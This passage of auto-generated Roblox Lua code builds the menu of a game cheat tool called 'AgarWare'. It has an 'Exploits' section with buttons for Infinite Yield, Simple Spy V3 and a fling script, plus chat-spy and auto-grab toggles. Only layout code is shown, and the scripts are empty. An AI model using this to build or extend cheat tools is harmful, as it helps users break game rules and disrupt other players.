-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.AutoExecuteRow.AutoExecuteText
G2L["b6"] = Instance.new("TextLabel", G2L["b3"]);
G2L["b6"]["BorderSizePixel"] = 0;
G2L["b6"]["TextSize"] = 14;
G2L["b6"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["b6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b6"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b6"]["BackgroundTransparency"] = 1;
G2L["b6"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["b6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b6"]["Text"] = [[Auto Execute]];
G2L["b6"]["Name"] = [[AutoExecuteText]];
G2L["b6"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide
G2L["b7"] = Instance.new("Frame", G2L["a5"]);
G2L["b7"]["BorderSizePixel"] = 0;
G2L["b7"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["b7"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["b7"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["b7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b7"]["Name"] = [[SettingsRightSide]];
G2L["b7"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.UIListLayout
G2L["b8"] = Instance.new("UIListLayout", G2L["b7"]);
G2L["b8"]["Padding"] = UDim.new(0, 7);
G2L["b8"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup
G2L["b9"] = Instance.new("Frame", G2L["b7"]);
G2L["b9"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["b9"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["b9"]["Size"] = UDim2.new(0, 170, 0, 80);
G2L["b9"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["b9"]["Name"] = [[ExploitsGroup]];
G2L["b9"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.ExploitsScript
G2L["ba"] = Instance.new("LocalScript", G2L["b9"]);
G2L["ba"]["Name"] = [[ExploitsScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.UIListLayout
G2L["bb"] = Instance.new("UIListLayout", G2L["b9"]);
G2L["bb"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.ExploitsAccentColor
G2L["bc"] = Instance.new("Frame", G2L["b9"]);
G2L["bc"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["bc"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["bc"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["bc"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["bc"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["bc"]["Name"] = [[ExploitsAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.ExploitsTitle
G2L["bd"] = Instance.new("TextLabel", G2L["b9"]);
G2L["bd"]["TextWrapped"] = true;
G2L["bd"]["BorderSizePixel"] = 0;
G2L["bd"]["TextSize"] = 14;
G2L["bd"]["TextScaled"] = true;
G2L["bd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["bd"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["bd"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["bd"]["BackgroundTransparency"] = 0.95;
G2L["bd"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["bd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["bd"]["Text"] = [[Exploits]];
G2L["bd"]["LayoutOrder"] = 1;
G2L["bd"]["Name"] = [[ExploitsTitle]];
G2L["bd"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.ExploitsTitle.ExploitsMinimize
G2L["be"] = Instance.new("TextButton", G2L["bd"]);
G2L["be"]["BorderSizePixel"] = 0;
G2L["be"]["TextSize"] = 14;
G2L["be"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["be"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["be"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["be"]["BackgroundTransparency"] = 1;
G2L["be"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["be"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["be"]["Text"] = [[-]];
G2L["be"]["Name"] = [[ExploitsMinimize]];
G2L["be"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.IYRow
G2L["bf"] = Instance.new("Frame", G2L["b9"]);
G2L["bf"]["BorderSizePixel"] = 0;
G2L["bf"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["bf"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["bf"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["bf"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["bf"]["Name"] = [[IYRow]];
G2L["bf"]["LayoutOrder"] = 3;
G2L["bf"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.IYRow.IYScript
G2L["c0"] = Instance.new("LocalScript", G2L["bf"]);
G2L["c0"]["Name"] = [[IYScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.IYRow.IYButton
G2L["c1"] = Instance.new("TextButton", G2L["bf"]);
G2L["c1"]["TextSize"] = 14;
G2L["c1"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c1"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["c1"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c1"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["c1"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["c1"]["Text"] = [[Infinite Yield]];
G2L["c1"]["Name"] = [[IYButton]];
G2L["c1"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.SSRow
G2L["c2"] = Instance.new("Frame", G2L["b9"]);
G2L["c2"]["BorderSizePixel"] = 0;
G2L["c2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c2"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["c2"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["c2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c2"]["Name"] = [[SSRow]];
G2L["c2"]["LayoutOrder"] = 4;
G2L["c2"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.SSRow.SSScript
G2L["c3"] = Instance.new("LocalScript", G2L["c2"]);
G2L["c3"]["Name"] = [[SSScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.SSRow.SSButton
G2L["c4"] = Instance.new("TextButton", G2L["c2"]);
G2L["c4"]["TextSize"] = 14;
G2L["c4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c4"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["c4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c4"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["c4"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["c4"]["Text"] = [[Simple Spy V3]];
G2L["c4"]["Name"] = [[SSButton]];
G2L["c4"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.FlingScriptRow
G2L["c5"] = Instance.new("Frame", G2L["b9"]);
G2L["c5"]["BorderSizePixel"] = 0;
G2L["c5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c5"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["c5"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["c5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c5"]["Name"] = [[FlingScriptRow]];
G2L["c5"]["LayoutOrder"] = 4;
G2L["c5"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.FlingScriptRow.FlingScriptScript
G2L["c6"] = Instance.new("LocalScript", G2L["c5"]);
G2L["c6"]["Name"] = [[FlingScriptScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.FlingScriptRow.FlingScriptButton
G2L["c7"] = Instance.new("TextButton", G2L["c5"]);
G2L["c7"]["TextSize"] = 14;
G2L["c7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c7"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["c7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c7"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["c7"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["c7"]["Text"] = [[Fling GUI (for bedw)]];
G2L["c7"]["Name"] = [[FlingScriptButton]];
G2L["c7"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage
G2L["c8"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["c8"]["Visible"] = false;
G2L["c8"]["Active"] = true;
G2L["c8"]["BorderSizePixel"] = 0;
G2L["c8"]["Name"] = [[TCOMainPage]];
G2L["c8"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["c8"]["Size"] = UDim2.new(0, 349, 0, 233);
G2L["c8"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c8"]["Position"] = UDim2.new(0.02329, 0, 0.09398, 0);
G2L["c8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c8"]["ScrollBarThickness"] = 0;
G2L["c8"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide
G2L["c9"] = Instance.new("Frame", G2L["c8"]);
G2L["c9"]["BorderSizePixel"] = 0;
G2L["c9"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["c9"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["c9"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["c9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c9"]["Name"] = [[TCOMainLeftSide]];
G2L["c9"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.UIListLayout
G2L["ca"] = Instance.new("UIListLayout", G2L["c9"]);
G2L["ca"]["Padding"] = UDim.new(0, 7);
G2L["ca"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup
G2L["cb"] = Instance.new("Frame", G2L["c9"]);
G2L["cb"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["cb"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["cb"]["Size"] = UDim2.new(0, 170, 0, 100);
G2L["cb"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["cb"]["Name"] = [[MainGroup]];
G2L["cb"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.MainScript
G2L["cc"] = Instance.new("LocalScript", G2L["cb"]);
G2L["cc"]["Name"] = [[MainScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.UIListLayout
G2L["cd"] = Instance.new("UIListLayout", G2L["cb"]);
G2L["cd"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.MainAccentColor
G2L["ce"] = Instance.new("Frame", G2L["cb"]);
G2L["ce"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["ce"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["ce"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["ce"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["ce"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["ce"]["Name"] = [[MainAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.MainTitle
G2L["cf"] = Instance.new("TextLabel", G2L["cb"]);
G2L["cf"]["TextWrapped"] = true;
G2L["cf"]["BorderSizePixel"] = 0;
G2L["cf"]["TextSize"] = 14;
G2L["cf"]["TextScaled"] = true;
G2L["cf"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["cf"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["cf"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["cf"]["BackgroundTransparency"] = 0.95;
G2L["cf"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["cf"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["cf"]["Text"] = [[Main]];
G2L["cf"]["LayoutOrder"] = 1;
G2L["cf"]["Name"] = [[MainTitle]];
G2L["cf"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.MainTitle.MainMinimize
G2L["d0"] = Instance.new("TextButton", G2L["cf"]);
G2L["d0"]["BorderSizePixel"] = 0;
G2L["d0"]["TextSize"] = 14;
G2L["d0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d0"]["BackgroundTransparency"] = 1;
G2L["d0"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["d0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d0"]["Text"] = [[-]];
G2L["d0"]["Name"] = [[MainMinimize]];
G2L["d0"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ChatSpyRow
G2L["d1"] = Instance.new("Frame", G2L["cb"]);
G2L["d1"]["BorderSizePixel"] = 0;
G2L["d1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d1"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["d1"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["d1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d1"]["Name"] = [[ChatSpyRow]];
G2L["d1"]["LayoutOrder"] = 2;
G2L["d1"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ChatSpyRow.ChatSpyScript
G2L["d2"] = Instance.new("LocalScript", G2L["d1"]);
G2L["d2"]["Name"] = [[ChatSpyScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ChatSpyRow.ChatSpyTickBox
G2L["d3"] = Instance.new("TextButton", G2L["d1"]);
G2L["d3"]["TextSize"] = 14;
G2L["d3"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d3"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["d3"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["d3"]["Text"] = [[]];
G2L["d3"]["Name"] = [[ChatSpyTickBox]];
G2L["d3"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ChatSpyRow.ChatSpyText
G2L["d4"] = Instance.new("TextLabel", G2L["d1"]);
G2L["d4"]["BorderSizePixel"] = 0;
G2L["d4"]["TextSize"] = 14;
G2L["d4"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["d4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d4"]["BackgroundTransparency"] = 1;
G2L["d4"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["d4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d4"]["Text"] = [[Spy Chat]];
G2L["d4"]["Name"] = [[ChatSpyText]];
G2L["d4"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ADODeathRow
G2L["d5"] = Instance.new("Frame", G2L["cb"]);
G2L["d5"]["BorderSizePixel"] = 0;
G2L["d5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d5"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["d5"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["d5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d5"]["Name"] = [[ADODeathRow]];
G2L["d5"]["LayoutOrder"] = 2;
G2L["d5"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ADODeathRow.ADODeathTickBox
G2L["d6"] = Instance.new("TextButton", G2L["d5"]);
G2L["d6"]["TextSize"] = 14;
G2L["d6"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d6"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["d6"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["d6"]["Text"] = [[]];
G2L["d6"]["Name"] = [[ADODeathTickBox]];
G2L["d6"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ADODeathRow.ADODeathText
G2L["d7"] = Instance.new("TextLabel", G2L["d5"]);
G2L["d7"]["BorderSizePixel"] = 0;
G2L["d7"]["TextSize"] = 14;
G2L["d7"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["d7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d7"]["BackgroundTransparency"] = 1;
G2L["d7"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["d7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d7"]["Text"] = [[Auto Drop on Death]];
G2L["d7"]["Name"] = [[ADODeathText]];
G2L["d7"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.APickupRow
G2L["d8"] = Instance.new("Frame", G2L["cb"]);
G2L["d8"]["BorderSizePixel"] = 0;
G2L["d8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d8"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["d8"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["d8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d8"]["Name"] = [[APickupRow]];
G2L["d8"]["LayoutOrder"] = 2;
G2L["d8"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.APickupRow.APickupTickBox
G2L["d9"] = Instance.new("TextButton", G2L["d8"]);
G2L["d9"]["TextSize"] = 14;
G2L["d9"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d9"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["d9"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["d9"]["Text"] = [[]];
G2L["d9"]["Name"] = [[APickupTickBox]];
G2L["d9"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.APickupRow.APickupText
G2L["da"] = Instance.new("TextLabel", G2L["d8"]);
G2L["da"]["BorderSizePixel"] = 0;
G2L["da"]["TextSize"] = 14;
G2L["da"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["da"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["da"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["da"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["da"]["BackgroundTransparency"] = 1;
G2L["da"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["da"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["da"]["Text"] = [[Auto Grab Items]];
G2L["da"]["Name"] = [[APickupText]];
G2L["da"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.AntiEnliRow
G2L["db"] = Instance.new("Frame", G2L["cb"]);
G2L["db"]["BorderSizePixel"] = 0;
G2L["db"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["db"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["db"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["db"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["db"]["Name"] = [[AntiEnliRow]];
G2L["db"]["LayoutOrder"] = 2;
G2L["db"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.AntiEnliRow.AntiEnliTickBox
G2L["dc"] = Instance.new("TextButton", G2L["db"]);
G2L["dc"]["TextSize"] = 14;
G2L["dc"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["dc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["dc"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["dc"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["dc"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["dc"]["Text"] = [[]];
G2L["dc"]["Name"] = [[AntiEnliTickBox]];
G2L["dc"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.AntiEnliRow.AntiEnliText
G2L["dd"] = Instance.new("TextLabel", G2L["db"]);
G2L["dd"]["BorderSizePixel"] = 0;
G2L["dd"]["TextSize"] = 14;
G2L["dd"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["dd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["dd"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["dd"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["dd"]["BackgroundTransparency"] = 1;
G2L["dd"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["dd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["dd"]["Text"] = [[Prevent Enli Drop]];
G2L["dd"]["Name"] = [[AntiEnliText]];
G2L["dd"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup
G2L["de"] = Instance.new("Frame", G2L["c9"]);
G2L["de"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["de"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["de"]["Size"] = UDim2.new(0, 170, 0, 81);
G2L["de"]["Position"] = UDim2.new(0, 0, 0.29722, 0);
G2L["de"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["de"]["Name"] = [[ToolsGroup]];
G2L["de"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.ToolsScript
G2L["df"] = Instance.new("LocalScript", G2L["de"]);
G2L["df"]["Name"] = [[ToolsScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.UIListLayout
G2L["e0"] = Instance.new("UIListLayout", G2L["de"]);
G2L["e0"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.ToolsAccentColor
G2L["e1"] = Instance.new("Frame", G2L["de"]);
G2L["e1"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["e1"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["e1"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["e1"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["e1"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["e1"]["Name"] = [[ToolsAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.ToolsTitle
G2L["e2"] = Instance.new("TextLabel", G2L["de"]);
G2L["e2"]["TextWrapped"] = true;
G2L["e2"]["BorderSizePixel"] = 0;
G2L["e2"]["TextSize"] = 14;
G2L["e2"]["TextScaled"] = true;
G2L["e2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e2"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["e2"]["BackgroundTransparency"] = 0.95;
G2L["e2"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["e2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e2"]["Text"] = [[Tools]];
G2L["e2"]["LayoutOrder"] = 1;
G2L["e2"]["Name"] = [[ToolsTitle]];
G2L["e2"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.ToolsTitle.ToolsMinimize
G2L["e3"] = Instance.new("TextButton", G2L["e2"]);
G2L["e3"]["BorderSizePixel"] = 0;
G2L["e3"]["TextSize"] = 14;
G2L["e3"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e3"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e3"]["BackgroundTransparency"] = 1;
G2L["e3"]["Size"] = UDim2.new(0, 20, 0, 15);
